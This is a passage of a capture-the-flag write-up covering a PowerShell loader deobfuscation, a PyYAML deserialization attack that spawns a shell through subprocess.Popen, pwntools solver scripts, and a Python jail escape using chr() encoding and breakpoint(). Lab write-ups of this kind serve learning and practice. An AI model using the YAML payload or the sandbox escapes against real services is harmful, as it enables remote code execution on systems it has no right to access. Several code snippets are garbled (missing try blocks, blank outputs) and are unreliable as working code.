$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);

$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-Object System.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);

$uZOcm = $bTMLk.ToArray();

# $gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);

# $PtfdQ = $gDBNO.EntryPoint;

Add-Content -Path ".\test.bin" -Value $uZOcm -Encoding Byte

It would write our binary to test.bin file. Let's analyze the resulting binary in dnSpy.

We see that the program name is RelicMaps and it has our flag in Main method.



Misc - Hijack (easy)

The security of the alien spacecrafts did not prove very robust, and you have gained access to an interface allowing you to upload a new configuration to their ship's Thermal Control System. Can you take advantage of the situation without raising any suspicion?

We used netcat to connect to the target host. It allowed us to create and load configurations. Creating a configuration returned a long base64 encoded string.



The decoded string was a Python YAML serialized object.


In load configuration option, we used base64 encoded version of the following payload, which resulted in a delayed response.

!!python/object/apply:time.sleep [2]

We used the following Python script to create a payload which allowed us to drop in a bash shell on the target.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
import base64

class Payload(object):
    def __reduce__(self):
        return (subprocess.Popen,('sh',))

deserialized_data = yaml.dump(Payload()) # serializing data

It created the follwing payload.




Misc - Remote computation (easy)

The alien species use remote machines for all their computation needs. Pandora managed to hack into one, but broke its functionality in the process. Incoming computation requests need to be calculated and answered rapidly, in order to not alarm the aliens and ultimately pivot to other parts of their network. Not all requests are valid though, and appropriate error messages need to be sent depending on the type of error. Can you buy us some time by correctly responding to the next 500 requests?

The target application asked us to solve 500 computations in a row without any delays.


We also had to keep the following rules in mind.


We wrote a simple Python script to solve the computations on the fly.

from pwn import *

io = remote("", 30500)
# context.update(log_level="debug")

io.recvuntil(b"> ")
# Start
data = io.recvuntil(b"> ")

counter = 0

while True:
    expression = data.split(b"]: ")[1].split(b"?")[0]
    expression = expression.strip().strip(b"=").strip()
    counter += 1
    print("[+] %d - Expression: %s" % (counter, expression))
        answer = eval(expression)
        if answer > 1337 or answer < -1337:
            answer = "MEM_ERR"
            answer = "{:.2f}".format(answer)
    except ZeroDivisionError:
        answer = "DIV0_ERR"
    except SyntaxError:
        answer = "SYNTAX_ERR"
    print("[+] Answer: %s" % answer)
        data = io.recvuntil(b"> ")
    except EOFError:

Once the script solved 500 computations, the target returned the flag.



Misc - Janken (easy)

As you approach an ancient tomb, you're met with a wise guru who guards its entrance. In order to proceed, he challenges you to a game of Janken, a variation of rock paper scissors with a unique twist. But there's a catch: you must win 100 rounds in a row to pass. Fail to do so, and you'll be denied entry.

We had an ELF binary for this challenge.

janken: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./.glibc/ld-linux-x86-64.so.2, BuildID[sha1]=56b54cdae265aa352fe2ebb016f86af831fd58d3, for GNU/Linux 3.2.0, not stripped

It was basically a game of rock/paper/scissors where we had to win 100 times in a row.

By decompiling the binary, we were able to see the logic used by the program to make the moves. It used rand() with current time as the seed to generate the move.


We were able to predict the moves of the program by using the same logic i.e. using rand() with current timestamp as seed value. We wrote the following Python script to automatically play and win 100 times in a row.

from ctypes import CDLL

import time

from pwn import *

elf = context.binary = ELF("janken")

# context.update(arch="amd64", log_level="debug")

# io = process(elf.path)
io = remote("", 30556)

io.recvuntil(b">> ")

moves = ["rock", "scissors", "paper"]
defeating_moves = {
    "rock": "paper",
    "scissors": "rock",
    "paper": "scissors",

libc = CDLL(".glibc/libc.so.6")
predicted_move = moves[libc.rand() % 3]
defeating_move = defeating_moves[predicted_move]

io.sendline(b"1")  # Play
for round in range(1, 100):
    io.recvuntil(b">> ")
    info("Round: %d" % round)
    info("Predicted Move: %s" % predicted_move)
    info("Played Move: %s" % defeating_move)
    if round >= 99:
        libc = CDLL(".glibc/libc.so.6")
        predicted_move = moves[libc.rand() % 3]
        defeating_move = defeating_moves[predicted_move]


Intended Way - Logical Bug

There was a much easier way to solve this challenge which was posted in the discord channel once the event was over. The program used strstr on user supplied input to check if the user had a winning move. This is a weak logic because strstr checks for a substring within a string. So we could easily bypass this if statement by supplying the input rockpaperscissors which would always pass the strstr check and the program would always find the winning move within user supplied input. The function strcmp instead of strstr could have fixed this logic bug.



Misc - Nehebkaus Trap (medium)

In search of the ancient relic, you go looking for the Pharaoh's tomb inside the pyramids. A giant granite block falls and blocks your exit, and the walls start closing in! You are trapped. Can you make it out alive and continue your quest?

Once we connected to the target, we realized that we were in a Python shell.


It didn't allow us to just execute any piece of code as it was blocking several characters including ', ", _, ., /, and spaces.

We could use eval() and pass it a string in ascii numbers format. We used the following script to make the process easier.

def convert_string(string):
    output = ''
    for char in string:
        output = output + 'chr(' + str(ord(char)) + ')+'
    output = ''.join(output)
    return output.strip('+')

We converted the following string and passed it to eval().



Easier Solutions

There were several other much easier ways to solve this challenge which were shared in the discord channel after the event was over.

The following was shared by R3CN1X#9693.

breakpoint() # drop into Python debugger shell
open("flag.txt", "r").read() # execute any code in Python debugger shell

Another easy bypass was shared by StealthyDev#5177.